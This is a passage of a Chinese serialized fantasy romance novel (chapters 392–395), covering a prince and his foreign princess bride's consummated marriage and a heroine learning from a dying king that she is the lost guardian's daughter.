他总以为,自己这是对她的一种保护。然却没想到,仿佛自己一步错,接着便是步步皆错。 因为他对这桩婚事的点头,接下来的一切,变得都是那样的让他难以控制。 西秦国,如今已然对北烈发起了猛烈的攻击,怕是不久之后,下一个便就会轮到他东宁国了。 到了那时,他们俩个会不会劳燕分飞,他们又该各自如何自处?如何面对各自的命运与劫数? …… 许久后,只闻他深深地叹了口气,赞叹其道:“我一直以为你是一个聪明,美丽,高贵又与众不同的公主。你很善良,更有一股女子身上难得一见少有的正义感。” 说着说着忽然停了下来,抬起头看着她的窈窕背影似是有些极思量不透地说:“你本该有更好的选择,可以让自己的人生过的更幸福,自由。可我不明白,像你这样的人,却为什么会放弃去争取一切,遵从命运的安排选择和亲,背井离乡远嫁来到这陌生的地方跟着我这样一个在皇族里根本就没有人会在意,微不足道,半点儿靠山都没有的庶出皇子受苦呢?你可是西秦国最尊贵的嫡公主啊!” 轩辕玥认真地听着,面上亦依旧淡淡地笑着,见眼前的烛火燃烧地久了,露出长长的烛芯来,便过去拾起一把金剪一边将其多余的烛芯剪掉,一边满脸心满意足地道:“因为殿下值得臣妾做这一切。” “我值得?”梅志煊惊看着她的背影,不解地道。 轩辕玥一边继续手里的动作,一边说道:“臣妾此生所做过的最正确的选择,便就是选择了殿下做夫君。打从臣妾在西秦国的街头偶遇殿下的第一眼起,此生心里便已经再也不可能容下其他任何人了。” “而且...臣妾对殿下的这颗心,至死不渝!”梅志煊盯着她此时忽然回过头来,朝自己所发出来的无比坚定的目光,惊呆了。 一回过神来,梅志煊又苦涩地道:“你…你这又是何苦呢?” 轩辕玥放回手里的金剪,继而缓缓回到梅志煊的身旁,紧盯着他那双深邃黝黑的眼睛道:“只要是同自己喜欢的人在一起,无论他什么身份与地位?无论在哪里?亦或者做什么?便都只会觉得自己是在做这世上最幸福的事,自己是这个世上最幸福的女人。如此,臣妾又怎么会觉得苦呢?” 看到梅志煊听了自己这番发自肺腑,饱含深情蜜意的话,其看她的眼里也由最初的惊诧与怀疑变得渐渐柔软,甚至有些迷离了下来。 轩辕玥继续信誓旦旦地道:“只要能够呆在殿下的身边,像如今这样,每日都能看到殿下的身影,臣妾便已经很是心满意足了。殿下说,自己尚未准备好接纳臣妾,臣妾可以等。而且,不管多久,臣妾都会一直等下去。” 轩辕玥目光坚定,语气坚若磐石地说着。 梅志煊已然被其所动容深陷其中,却还不自知,盯了她半晌后,道:“自古以来,所谓的两国和亲,当事人都只不过是被人拿来当成了政治上的棋子而已。对于这一点,你我皆都心知肚明。所以哪怕,哪怕......” 心中闪过一抹犹豫,那是他牢牢紧锁在自己心里,永远都不愿与她当面谈及的一片禁区,却终是在这一刻将它血淋淋地打开。 “想你也应该已经知道了西秦与北烈的战事,西秦这次竟派出了如此庞大的兵力,十六万精兵呢!就此看来,直取北烈,西秦这次是势在必得了。这片大陆,已经分离地太久,正所谓‘天下合久必分,分久必合’。我想你西秦,最终并不是只单单想要吞下一个小小北烈吧!“ 看着轩辕玥深深蹙眉着,一脸严肃地已然为自己的话陷入了沉思之中,久久不能自拔。 梅志煊顿了顿,半眯起眼睛来,侧身一脸悠长地盯視着眼前被轩辕玥方才所修剪,此时已呈现出一片颇为明亮的那盏烛火,愣愣地道:“所以,哪怕日后有一日,如果真的有那一日到来……你,依然还会觉得你今天的选择是值得的,真的不会有半点儿后悔?” 在梅志煊看来,年少无知,情窦初开的轩辕玥,无疑犯了一个世间少女皆都会犯下的错误。 因为心里的一时悸动,一片芳心就这样暗许给了一个错误的人。之后,为了得到,便不惜任何代价。 然缺乏对日后两国局势长久的深思熟虑,冲动之下所做出的决定,真的能敌得过血浓于水的感情吗? 于是,话一说完,梅志煊便缓缓收回了视线,再次将其移到轩辕玥的身上,待其作答。 等了许久,轩辕玥却一直都垂首沉默着并未发出任何回应来。 见此,梅志煊似是觉得她正中了自己所料,于是转身端起了案上的一盏早已斟满的酒来,将其一饮而尽。 随后紧紧阖上了双目,仰面对着空气发出了冷冷的一阵笑声,继而又敛声睁眼深叹了口气,终是失望极了地背对着她默默说道:“你放心,如果真的有那一日,我也一定不会为难你。你随时都可以离开东宁皇宫回去母国寻求庇护,我绝不拦你。” 岂料话音刚落,轩辕玥竟猛地抬起头来死死地盯視着他孤单的后背,一字一句,铿锵有力地道:“是的,玥儿此生定不负殿下,誓死陪伴殿下左右,不离不弃,绝不后悔自己昔日所做出的选择!” 闻此,梅志煊忽地转身怔望着她的眼睛,震惊呆了:这一刻,她竟称自己为自由的“玥儿”,而不是“臣妾”,那被婚姻关系所捆绑,赋予俩人的无形枷锁。 接下来很长的一段时间内,一室寂静,似是连周围的空气亦都停止不动了一般,一种奇妙的气氛在悄悄酝酿发酵…… 不知过了多久,终是轩辕玥忍不住先开口打破了这片死一般的沉寂道:“原来,殿下所说的自己尚未准备好,竟是因为这个?” 她收回视线,瞬间明白了一切…… 第三百九十二章:第一次 不知过了多久,终是轩辕玥忍不住先开口打破了这片死一般的沉寂:“原来,殿下所说的自己尚未准备好,竟是因为这个?” 她收回视线,瞬间明白了一切。 深深地舒了口气,忽觉整个人许久以来心里的所有压抑全都得到了释然,遂嘴角噙出淡淡的一抹愉悦弧度来。 似是自从到了东宁皇宫后,尚还从未有过如此轻松一般。 静了会儿定了定神,方才第一次大胆地放眼朝着书房内到处张望着仔细打量了起来。 很快,便锁定了屋内一暗处兀自一边朝着窗边一角上踱步过去,一边回忆着幽幽道:“其实,殿下所问的问题,玥儿尚还在西秦皇宫,当时求秦皇叔帮忙劝父皇不要将玥儿赐给北烈国的时候,秦皇叔便就已经问过玥儿了。那时候,玥儿便对秦皇叔说‘嫁鸡随鸡嫁狗随狗。玥儿此心,日月可鉴,至死不渝。东宁亡,玥儿亦亡’。虽然期间,玥儿也曾迟疑过,内心苦苦挣扎过,想要退缩放弃过……” 说着说着停了下来,于几步之后,来到了窗前的一琉璃瓶前,弯腰下去喜出望外地对着眼前两只正在一片微光的照射下,相依相伴着振翅翩翩起舞的神蝶,饶有兴致地打量起来。 过了会儿,直起身来伸出双手,轻抚着那冰冷的琉璃瓶微微蹙起眉来继续道:“可是,每当玥儿一想到每每看到殿下时,殿下眼中所渗出的那一丝甚少能被人察觉的忧郁与孤独,玥儿心中便觉甚是疼惜与不舍。玥儿或许至今尚不能完全体会殿下心里一直以来所承受的那份难以承受的苦与痛。” 话说至此,她忽地转身,满眼柔情地对着书案边那个立如芝兰玉树,笑似朗月入怀,俗世极为少见的男子说道:“但是,玥儿只想此生什么都不管不顾,只想听从自己最真的内心,认真做一个完完全全的自己。只要能让玥儿陪伴在殿下身旁,当殿下需要人陪的时候,哪怕就只是静静的站在门外漆黑的院子角落里,远远地看着殿下的影子,玥儿便已经……” 等不及其将话说完,就在这时,梅志煊那早已心绪激动地被鼓胀得一起一伏的胸膛,似是再也忍不住其变得越来越剧烈,遂三步并作两步地大步上前过去“哗”的一下,打开了怀抱将轩辕玥一把紧紧地拥在了他温暖宽大的怀里,兀自垂首俯身下去,以吻封唇…… 轩辕玥登时惊的竟然忘记了闭眼,直朝其瞪大了双眼。就这样几乎零距离地紧紧盯視着那张突如其来地朝自己吻下来的冷峻却又无比真实的轮廓,一步步深陷入其迷离之中。 顿时间,墙上映出的跳跃着的斑驳烛光阴影间,俩人的影子也影绰相叠在了一起。 面对他猛然地吻下来,她的心中似明白又似糊涂。 “眼前的这一切,这都是真的吗?”已然开不了口,轩辕玥只能在心里一遍又一遍地重复问着自己。 许久后,确定自己是真真切切地感觉到了他俯身而下,暖暖地洒在自己脸上的他的鼻息,还有两片清凉薄薄却又极具占有力,颇具气势又霸道的唇。她终于缓缓的闭上了眼睛,笨拙地开始回应起他来。 他每个轻柔的动作皆都撩拨继而席卷了她的内心,撬开贝齿,她的脸上早已浮起了淡淡的红晕。 一时间,温热的气息,氤氲着她的眼睛,心脏的律动,两人唇齿相抵深深地交织在一起,似是吻得都快要喘不过气来。 他们终于第一次真正亲吻,他尽全力拥紧着她,索要着她,她也尽全力搂着他的腰间,给他。 就在轩辕玥正被他带动着静静享受这一切美好的初体验时,他缓缓睁开了眼睛凝视着她迷离的眼眸渐渐离开了她的唇。 顿时,他竟一手从其腋下迅速地穿过后弯腰下去将她一把横抱起,直朝着门口大步踱出。 而一直守在门外的婢女锦兰一见此情此景,不禁顿时惊的张大了嘴巴惊叫了声:“公主这是……”继而,又忙一把将其死死堵上。 梅志煊眼睛一眨不眨地盯着她,毫不避讳地当着所有奴才的面,将轩辕玥一路抱回到了寝殿的床榻上。 俩人并膝坐在榻边,他微笑地看着她,没有说一句话,眼光如水般温柔,层层叠叠,丝丝缕缕,将她一点点缠绕在他的网中。 轩辕玥见了心跳一下变得急促,怔怔看了他半晌,强扭过头去躲闪开,却是早已满脸潮红。 这时,他轻轻将她娇小精致的脸庞转回又盯了会儿,俯身过去在她的耳边低低地道:“玥儿,我已经准备好要要你了!” 闻此,轩辕玥脑袋霎时似是一片空白,又似说不清道不明猛地乱了起来,身子僵硬,全身一时冷一时热。 梅志煊随手轻松地便扯下了帐蔓,纱衣轻挑滑落,继而又温柔地将手探到她的腋下,轻解起她的衣扣来。 她忽然猛地一扭身,双手抵在他的胸前,紧张地看着他,只有不停地喘气。 他眉头微蹙凝视了她半晌,瞬即又展了开来,淡淡笑着道:“玥儿,不要怕,我们慢慢来。” 果然,寥寥几句安慰的话过后,很快便除去了她身上一层又一层的所有遮挡,看着她白皙无瑕又透着几分娇羞的粉红,他竟喜欢的倒抽了口气。 他继续轻轻柔柔地将她的身体放倒在榻上,自己亦随之立马倾身上去,将她困在自己的身下。 一双漆黑的眼睛,冷幽幽地盯着她,在其耳畔霸气地道:“今夜,本皇子便要你成为我真正的女人!这一生,你再也没有反悔的机会了!” 轩辕玥心里又是紧张,又是害怕,还有隐隐的期待,几分臊,几分羞,大气也不敢喘一口。 最后,只能紧紧地闭起双眼来,在他的吻中,她渐渐意乱情迷。 漆黑的窗外,半弯残月斜斜挂在夜空,映着院子里池中的一潭碧波,夜里花香阵阵,欢悦的虫鸣声四起。 在梅志煊接二连三的卖力耕耘与奋斗下,她终于再也耐受不住,精疲力尽地瘫睡了过去。 红烛照耀下,此时那张姣好嫩滑的面容上现出了一脸满足的细汗,缱绻依偎在他结实的臂弯里一脸潮红。 香榻上,梅志煊侧头几近于痴迷般地审视着轩辕玥一丝不挂的身体每一处,伸手轻柔地替其小心翼翼拨开因为数场大汗淋漓而黏沾在其脸庞的几缕柔软的青丝。 淡笑着又贪婪地端详了那玲珑娇小可人儿的眉眼一会儿,忽然卸去了笑意心生出一抹浓的似是永远都化不开的忧郁道:“玥儿,如果有一天,你知道我终是利用了你。到时候,你还会这般爱我吗?” …… 东边的天色已经露白,树上的鸟儿开始婉转鸣唱。 夜色将尽,新的一天就要开始,物换星移,今夕是何夕? 当轩辕玥终于从初尝人事之痛的夜里醒来的时候,已是崭新的一天。 柔柔的一束光,透过窗棂静静地洒在偌大的寝殿里。 窗外院子里,花开了,刚好你还在。 在鸟儿欢快的鸣叫声中缓缓清醒过来,轩辕玥只觉头重身软,痛苦中伸手揉了揉双眼,刚一松手打开,便见梅志煊侧身在其身旁躺着一手支着脑袋,一双灿若星辰的眸子带着无尽的温柔正直勾勾地盯視着她的脸看。 “殿下!臣妾......” 轩辕玥一对上他的眼睛,顿时心里一惊,怔了一下,忙又回过神来一把掀开被子欲起身来,却见被窝中的自己竟是赤身露体着一丝不挂地藏在里面,而与其同一被窝里的梅志煊显然已经和上了单衣。 遂眼睛一斜,这才看到地上一地凌乱的俩人的衣裳,随之一反应过来便“啊”地尖叫了一声,梅志煊一把将其光溜溜的身子按倒了下去关切地道:“躺着别动,还疼吗?” 这一问,她霎时满心震惊,昨夜那场疯狂的云雨之事,一幕幕清晰地从心中滑过。 她听话乖乖一动不敢动地静静躺着,脑子里木木。 忽一瞥见俩人此时的缠绵姿态,只见其脸庞淡下去的绯红亦瞬时再次涨起。 身子压着身子,脸对着脸,两只大手牢牢禁锢着她的手于枕旁两侧,她正欲要侧头避开,他却毫不退让地又一次欺身上来追问:“快说,到底还疼不疼?” 她已然避无可避,只得羞涩极了地如实回应微微摇了摇头。 “殿下,臣妾……”正想开口说话,他的食指轻轻搭在了她的唇上,笑摇摇头,做了个噤声的表情:“既然不疼了,那我们继续。” 漆黑的眼睛忽地变得暧昧不明,他缓缓低头轻柔地吻向她。 果然,梅志煊这条饿狼一旦开了荤,便是对她永无止尽的欲望与索取。 于是,俩人再次纠缠在一起,享受挥汗如雨所带来的淋漓畅快…… 第三百九十三章:玥儿,不要让我失望! 一大早,不知道又要了她多少次,床榻上到处一片凌乱,与她又是几经疯狂的折磨与交融。 直至日上三竿的时候,梅志煊方才再次悠悠转醒,而轩辕玥却还依旧精疲力尽地小鸟依人般躺在他舒适的臂弯里。 梅志煊将身子小心翼翼地往上蹭了蹭,倚靠在榻上,微微颔首端详了会儿她温柔静美的眉眼,继而将下巴轻轻抵在了她的额头,一只手一遍又一遍地摩挲着她微微露出于锦被的那光洁细滑的肩头,陷入了沉沉的思绪之中。 尽管大婚以来,自己一直都是有意在回避着她,岂料却终还是被她的真诚和柔情所打动。对自己这般痴心绝对的女子,让他又怎么忍心拒绝? 仿佛人生的许多事,总是如同昨夜这场突然而至的激烈云雨一般,让人避无可避,猝不及防。 然尔今再信誓旦旦的美好誓言,若是果真到了那一日,她真的能做到吗? 灵空大陆四国之间,因为对于忽然莫名消失了的西秦守护者的那股神秘力量的忌惮,向来都是一直和平相处着。 而如今,西秦竟然率先向北烈发起了战争。 难不成,他们真的已经寻回了守护者,重新拥有了那股神秘力量的支持?才会如此毫无顾忌的敢挑起战争来? 东宁朝廷在得知了西北大战的消息后,自是不能就这样坐以待毙。 为防万一,虽然亦已经在秘密的积极备战着。可关于那股神秘力量,始终却是从来都只有人听过,并无一人见过。 战场上的事,正所谓‘知己知彼,方才能百战不殆’,可在这样毫无头绪的情况下,若是大战真的一旦来临,后果显然将不堪设想。 不知,在西北大战的战场上,会不会出现那股守护者的神秘力量呢? 一念至此,他忽然将目光移到了怀里轩辕玥的脸上。 而就在这时,轩辕玥两道长长的睫毛忽然微微扑扇了两下,继而缓缓睁开了那双灿若星河的眸子来。 梅志煊一见,遂在其耳旁柔柔地轻唤了声道:“醒啦?” 轩辕玥羞涩地朝其微微颔首,兀自坐起身来合上了手边的一件纱衣正欲下榻,却被梅志煊一把大力地再次拉了回去拥入怀中,与其四目相对。 一时间,轩辕玥只觉自己的心砰砰直跳,怔了一下后忙侧过头去道:“殿下不要,嬷嬷曾说,房中之事,第一次不可太……” 声音越来越低地说着说着,终是停了下来,深深地垂首下去将自己整个脸都埋在了他滚烫的胸膛。 梅志煊低眼看着她一脸绯红娇羞的模样,挑了挑眉笑了笑,故意打趣说道:“哦?那嬷嬷还教了你些什么?” 闻此,轩辕玥顿时心里一惊,身子一僵,似是再也不敢探出脑袋来。 霎时间,一室寂静,俩人皆都贪婪地享受着这种期盼已久的依偎缱绻,多么希望这一生都能这样,到死永远都不要分开。 不知过了多久,梅志煊终于开口问道:“对了,听闻世人皆说,你西秦守护者拥有一股世间神秘的强大力量,却怎么会如此不小心将其遗失了呢?” 果然,他终于还是问到了这件事。 轩辕玥心里,其实早就觉得当初东宁国起初那般决绝地拒绝了与她西秦皇族的和亲,中途却又忽然改变了主意,其中一定是有什么隐情? 那时候,她便已经想到了这点。自是亦早就已经有了对策。 一念至此,轩辕玥缓缓挣开了他的怀抱起身来深看了他一眼,一边下榻更衣梳妆,一边镇定地道:“这件事,臣妾当时尚还未出世,并不是很清楚。只听人说,自从守护者遗失后,皇爷爷因此而自责不已,更是一病不起,宫中自那时起,便再也不敢有人传说此事。除此之外,关于守护者,臣妾便一无所知了。” 梅志煊想了想,却是仍不肯放弃地又问:“听闻西秦守护者是一位有着绝世容颜的美貌女子。如此重要的人,你西秦皇宫里,难道就没有保留关于她的画像之类的东西吗?” 轩辕玥默了会儿,定了定神,一边自己拾起案上的篦子梳着一缕青丝,一边说:“听母后说,当时宫里本来是有一幅守护者画像的……” 岂料话刚开口,梅志煊竟忽觉眼前一亮,猛地从榻上坐起身来看向她的侧脸,扬声急着的道:“真的有守护者画像?” 轩辕玥见状,惊了一跳,遂扭头看了他一眼,又回过头去一边继续手里的动作,一边淡淡地说道:“然却在皇爷爷弥留之际,不知为何他亲手将守护者画像给毁了。” “被毁了?”梅志煊刚刚燃起的一丝希望霎那间又被无情地浇灭,顿显出一脸失望极了的表情,泄下了气来。 轩辕玥点了点头,又补了一句,将他的念想全部彻底打碎,道:“不仅如此,就连见过守护者画像的人,也全部都相继离奇死亡。” 顿时间,梅志煊心里甚感五味杂陈。 正倚在榻上黯然神伤地思量其所说的话,轩辕玥却忽然想起了方才书房里所发生的事,于是便强压住心中的惊奇,面上淡淡地问:“殿下真的见过身上有凤凰印记的女子?” 梅志煊这才回过神来,掀起锦被下榻缓缓踱步到轩辕玥的身后,将那两只骨节分明的大手轻轻搭在她的肩头,俯身下去在其耳旁不怀好意的浅浅笑着,低低道:“我可以理解为,你这是在吃醋么?” 轩辕玥忽地反应过来,一脸羞涩地嗔声道:“殿下惯爱取笑臣妾,臣妾只是好奇,是什么样的女子?身上竟会与生俱来有如此这般高贵的一个印记。” 梅志煊一边拿过来她手上的篦子,一边回忆着道:“这个凤凰印记,其实,它曾经就在嫡母后的身上出现过。” 轩辕玥心里一惊,从眼前的菱花镜中看着他的眼睛道:“是已故多年,父王至今都甚是怀念的先皇后。” 梅志煊点了点头,表情忽然变得凝重起来。 轩辕玥虽然到东宁皇宫的时间并不长,却也耳闻听到了一些关于先皇后的传闻。 于是,心中顿浮起一抹好奇,问:“先皇后,她到底是什么人?听闻在民间颇为深受百姓的爱戴,甚至民间更是还有很多地方为先皇后特意建造了庙宇祈福。” 梅志煊叹了口气,默了会儿,脸上的表情忽然变得无比严肃下来,一边帮轩辕玥梳头,一边幽幽开口。 “那已经是十七年前的事了。十七年前,我东宁全国上下,皇宫内外,突然被一场来势汹汹猛如虎的瘟疫所席卷。就在举国上下,对此毫无一点儿办法,只能烧香祭天乞求上苍垂怜的时候,出现了一个神奇的女子。她仁心仁术,妙手回春,没日没夜,废寝忘食地研制药方,终于将处在水深火热中的东宁国救了回来。而更难能可贵的是,国难当头,那么大的药材支出,她却不肯接受宫廷一分一毫的支援,全都是用自己不辞劳苦,冒着生命危险走遍东宁的大山危崖,亲手采回来的最新鲜的药草所制。她说只有这样,药效才是最好的。” “如此来看,先皇后还真是个世间不可多得的奇女子呢?”轩辕玥听了亦同样感叹道,垂头之间忽又生出一疑问:“先皇后,她究竟是什么背景出身?” 梅志煊伸手从首饰盒子里挑出了一支精致的红梅金步摇来,一边欲往轩辕玥的髻边插入,一边说道:“因为她当时说自己失忆了,对于自己的过去一无所知。所以至死,都没有任何人知道她的背景出身。” 犹豫之间紧紧皱起眉头来,轩辕玥抿了抿嘴,忍不住终还是问道:“那...先皇后,她到底是怎么死的?” 梅志煊的手忽然一抖,两道浓黑的剑眉亦紧紧拧了起来,声音变得凉凉,道:“嫡母后,她是在去西秦国以后,突遭不明势利迫害,坠崖而亡的。” 轩辕玥忽惊立起身来,转头看着他的眼睛道:“什么?东宁国的嫡皇后,死在了我西秦国境内?这到底是怎么回事?” 梅志煊顿觉无力坐了下来,将轩辕玥置于他的腿上揽入怀中,道:“不仅如此,当时嫡母后已经身怀有孕,即将临盆。有一日,她就像是失心疯了一般,什么都不管不顾,坚持要去西秦。尽管有护卫相随,却终还是...发生了后来的惨剧。” “她,可她怎么能连肚子里的孩子也不顾忌呢?她究竟为什么要那么着急的去西秦?”轩辕玥口中喃喃着,难以置信极了。 然心里却是一片纷乱,难道当年真的是西秦守护者遭遇意外却并未死,而是失忆后流落到了东宁国成了东宁嫡皇后,这真是太不可思议了! 而此刻,在梅志煊的心里,却是在想,当年的这件事,他必须要查清楚,还有他那命运多舛,至今更是生死不明的可怜的皇妹。 一念至此,梅志煊狠狠地咬了咬牙,说道:“对了,我要出趟远门。你一个人在宫里,凡事要多加小心。” “殿下放心去吧,臣妾不会有事的。”轩辕玥乖巧地道。 梅志煊依依不舍地凝视了她的眼睛一会儿,遂将她一把揽入怀中,心里暗暗地道:“玥儿,不要让我失望!” 第三百九十四章:她,真的存在过 日子轻快一如草原上的风,只不过转瞬之间,便已是三个月过去。 西、北两国的战役正在如火如荼地激烈进行着。 自打轩辕翰到达北烈战场后,对于北烈国的俘虏不但不杀,反而给予赏赐,或放或收入麾下,因此而拉拢了不少人心。 尤为更是毫不避讳地大胆重用北烈的降将,一时间旗下会聚了大批能征善战、勇敢无畏的从将。 这支虎狼之师在北烈国境内到处纵横驰骋,欲从其四面八方形成包围之势,所向之处,无不向其俯首称臣。 借助着他们对北烈国的地形气候等情况极为熟悉,深入到敌人后方,采用取食于敌、就地补给的策略,他率领的军队比北烈的更加灵活、迅捷、勇猛,将拓跋泽连连逼退,每每打的促手不及,落花流水。 眼看着,距离直捣北烈腹地的日子愈来愈近了,西秦大军内士气满满,每个人都热切地翘手期盼着胜利的那日能快点到来。 尽管拓跋泽与拓跋宏兄弟两人,竭力想要对年迈且病重的老国君隐瞒早已是岌岌可危的军情。 然老国君所派去探秘的人,自是唯独只效忠于其一人。所以,轻而易举便将战场上的消息全都探的一清二楚。 西秦发兵16万,由秦王轩辕翰亲自统领已然对北烈形成包围,眼下正欲直捣腹地,大批的北烈兵将被俘后倒戈…… 这所有消息迅速一传回到老国君的耳朵,自从那夜起,老国君一怒之下喷出了一大口鲜血晕倒后,便彻底卧床病倒,再也没能起得了榻来。 国难当头,战事吃紧,近一百个日日夜夜以来,老国君始终都严令禁止任何人将他病危的消息传到战场上,怕使俩兄弟分心。 衣上云亦原本还打算乘着那兄弟俩不在,找机会脱身彻底离开北烈,重新去寻找属于自己的一片可以真正自由呼吸的天地。 然就在她收拾好行囊,正打算悄悄离开的那天夜里,双脚刚一迈出帐篷,便听到从老国君的帐篷里传出婢女的疾声呼救。 一直以来,亲自负责照料其病情的拓跋宏不在,其他新接手的医者面对老国君的危急病情,皆是膛目结舌,手足无措,颤颤巍巍。 见此,终于,衣上云还是被老国君这突如其来的病情所牵绊,未能成行。 于是,接下来的无数个日日夜夜里,她便彻底接替了拓跋宏原来的所有一切担子,亲自照顾起缠绵于病榻上的北烈老国君安危来。 北烈腹地的草原上。 沉沉黑夜,万籁俱寂,老国君的帐篷里。 刚刚侍奉其服下汤药后躺下,衣上云犹犹豫豫了许多个日子,终是从袖兜里缓缓摸出了一方洁白丝帕来将其打开,双手捧着上前将里面所包裹着的物件展现在了老国君的面前。 认真地说道:“国君,这是二皇子殿下临走前,不小心落在我那儿的东西。本想着他会抽空回来一趟,将其还于他。可依照如今前方所传来的情势看,我想,我应该将它还给国君处置才对。” “咳咳……” 床榻上,老国君闻声轻咳了两下,有些吃力地微微动了下身子,扭过头来斜了她手里捧着的一块自己无比熟悉的兵符一眼,顿时怔愣了一下。 很快,却又回过头去躺好,有些气喘吁吁,孱弱地发出一阵沉声道:“这是宏儿临行前,我亲自交到他手上的我北烈国的兵符,拥有此兵符者,便是北烈国的王,向来只有北烈国君及其继承人才可执掌。如此重要的物件,宏儿不会那般大意将其随便乱丢的。他既然放在了你那儿,自是有他的道理。如果你非要还,为何不亲自去交给宏儿?” 衣上云听了深吐了口浊气,继而抿了抿嘴唇现出一脸难色,心里道,这个拓跋宏,怎么丢给她如此烫手的一块山芋。自己不想继位,又塞给她做什么?明摆着,老国君的话里说的就是在传位于他。 再三思索,衣上云终是蹙眉为难地道:“国君的病关键是要宽心,只要按时服药好好静养,相信很快便就能下榻来了。所以…其实我…我…我是想离开这里。” “你要离开?”老国君顿了一下,忙又问道:“是因为宏儿?” 闻此,衣上云一时间不知该如何与他诉说自己复杂的内心。 老国君想了想,淡淡说道:“乌乐,你的确是个不简单的女子,我也是真心想要将你留在这片草原上。可是,看起来似乎我们的缘份真的是太浅了。或许,这可能打从上一世便就已经注定了吧。就像17年前的我同她之间的缘份一般……” “她?她是谁?”衣上云顿时怔望向老国君的脸,惊奇地问。 老国君望着头顶的幔帳,深吸了口气,眼神悠长地道:“她是一个与你长得几乎一模一样的女子,亦是一名善良的医者……” 话未说完顿了顿,又扭头深看了榻边的衣上云一眼,继续道:“其实,当初第一眼,我便见你模样气质都像极了她。只是没想到,如今你再次醒过来,恢复容貌后,还真的与她一模一样。” 衣上云顿时心里一惊,想起这些日子以来一直萦绕在自己心头的那个苏醒前的那场梦境,不禁心里纳闷地道,难道这个世上真的存在过与我长的一模一样的女子? 一念至此,她忙问道:“乌乐敢问老国君,您是在哪里见过与乌乐长相一模一样的女子的?” 老国君神情一松,道:“我与她,是在富甲一方的东宁国相识的。” “东宁国?”衣上云惊诧地道,霎时回过神来又问:“那她还活着吗?” 老国君顿显一脸凝重,冷冷地道:“死了!她本是东宁国最尊贵的嫡皇后,在17年前几近是要亡了整个东宁的那场疟疾瘟疫中不顾自身安危救了全国的人。然最后,却为了救那个尚还是个黄口小儿的秦王轩辕翰,临盆在即到了西秦,被人逼落悬崖……” “临盆在即的妇人?西秦,为了...救...殿下?”衣上云低声喃喃着皱紧眉头垂首下去,急急思索着这一切似曾熟悉的画面。 忽地记起,遂猛地抬起头瞪大了双眼愣愣凝视着老国君的脸,她简直不敢相信自己所想到的。 随之,过去一连串许许多多个支离破碎的离奇梦幻片段顿时浮出脑海…… 其中,梦里那名看不清其容貌的坠崖后的即将临盆的妇人,一边拼命地用力往前爬,一边泪眼朦胧地在心里呼唤着“老天保佑,谨遵西秦天子之命,守护者之己任,已保西秦少主平安脱险,使命达成,若曦死而无憾。可若曦肚子里的孩子,她可是西秦国的下一代守护者,求你一定要开开眼,这个孩子,她绝不能死,绝不能…...” …… 原来梦里出现过的那个与自己一模一样的脸,她,真的存在过。 而且,她便是轩辕翰曾经亲口所说过的那位为了救她,坠崖一尸两命让他至今都甚感不安的人。 不,那妇人落崖后并没有立刻死去,而且强撑着最后一口气给了她生命。 她,真的是她的母亲。所以,在城西衣府里,她才会不被人待见,被人忽视。 她的母亲,竟是为了轩辕翰而死。 她的母亲,竟是东宁国的嫡皇后。 她的母亲,还有她,她们原来真的是西秦守护者。 霎时,只见衣上云的滚滚眼泪簌簌落下。 忽然,她感觉似是从很远很远的地方渐渐传来老国君的声音:“乌乐,我知道你是个聪明的孩子。我所说的一切,你也应该全都听明白了。宏儿之所以故意将兵符落在你那里,看来,他始终还是下定不了决心,做这草原上的下一代王。” 顿了顿,眼睁睁注视着衣上云刚刚恢复清醒过来的眼睛,老国君满脸希冀地道:“帮我去找宏儿,将兵符交给他。我知道,只有你才能劝动他。这场仗,已经打的太久了,如果再这么耗下去,北烈怕是就……” 说着,显出一脸的忧心。 而衣上云刚刚明白了过来,接受了她身为西秦守护者的身份。如此紧要关头,她又怎么能去帮西秦的敌人,北烈国递信,于是顿显一脸为难地道:“可我是西秦国的子民,我……” 老国君似是已有些沉不住气,厉声将她的话打断:“可西秦国却容不下你,若不是如此,你也不会跟着泽儿千里迢迢来到我北烈。西秦甚至当你是妖,不是吗?还好那个秦王轩辕翰昭告天下说你已经死了,一了百了。否则,现在指不定将会有多少人恨你,想杀你呢?” 此话一出,衣上云顿时朝其惊愣住,似是再也辩解不了什么,也说不出话来。 老国君见其愣住,想着许是因为自己的话说的有些重,忽又变得温和下来,近乎于乞求般地道:“我这辈子从来都没有求过谁?这次,就算是我求你了。宏儿,他是我一生中最大的骄傲,亦是我所有的希望之所在。不管他肯不肯,他都得肯!如果这片草原,若是落到了泽儿的手里,那后果将会不堪设想!为了这片草原,为了这草原上的每一个鲜活自由的生命,我这个即将离世的老人,求你去找宏儿,说服他,好吗?” 衣上云低眼看着脚下沉默了许久许久,终于缓缓地抬起头来…… 第三百九十五章:你来晚了 衣上云低眼看着脚下沉默了许久许久,终于缓缓地抬起头怔望向老国君此时侧头正对自己所投来的眼巴巴期盼的眼神。 眼前这位戎马一生,白发苍苍的威严老者,此时血丝密布的眼睛中却透露出了那般的无助和对自己的苦苦哀求。想他的一生中,一定是没有睡过几个安稳觉。 他曾经也是身形挺拔,眉目英豪,那般地意气风发,驰骋于沙场。 那时候,他的笑容热情之中一定透着散漫,他的歌声深远而嘹亮,远远荡了开去好似这就是草原上自古以来唯一的声音。他就如那草原上传说中的天马,所到之处,便是惊鸿一现。 而直至今日,即使自己已自顾不暇的缠绵于病榻之上,却还依然在悉心为这片草原的未来谋划着。 此时,衣上云的心里不禁忽然对他升起了一抹怜悯之心来。 一张凝重的似是永远都化不开来的脸迟疑了许久,终是咬了咬牙,深吸了口气,严肃地开口对他说道:“这块兵符,我答应你,一定会亲自将它交到二皇子殿下手中,就当是作为我对北烈能收留我至今的报答。” 老国君闻此,顿时松了口气,眨了一下眼睛躺了回去。 岂料衣上云接着又道:“可是,二皇子他虽是皇室之人,但也是一个有血有肉有自己思想和感情的鲜活的生命,不是任你们随意安排摆弄的傀儡木偶。” 顿了顿,心底忽生出无尽的凄凉,是不是这个世上,每个人都永远无法做真正自己想要的模样,去按照自己的意愿过一生。 随即又道:“这些日子以来,许是因为太了解他。所以,请恕我无法劝他什么?办完此事后,我会永远离开这里,从此与北烈国...再无任何瓜葛。” 说完这番话,衣上云朝榻上再次惊愣不已的老国君深深地鞠了一躬以示感谢,亦是与其做最后的道别。 之后,便即刻转身离开。 就在她刚走出没两步的时候,忽然再次顿足停了下来,并未回头,只字字铿锵地道:“还有,不管西秦如何待我,就算是要我死,我都不会舍弃,更不会背叛。这是一种信仰,一个人的心中若是没有了信仰,那他的一生就真的是毫无意义,生不如死了。” 说完,便兀自头再也不回地走出了帐篷去。 望着她离去的弱小背影,老国君颤颤巍巍地强撑着一只胳膊半支起身来朝其一脸震惊。 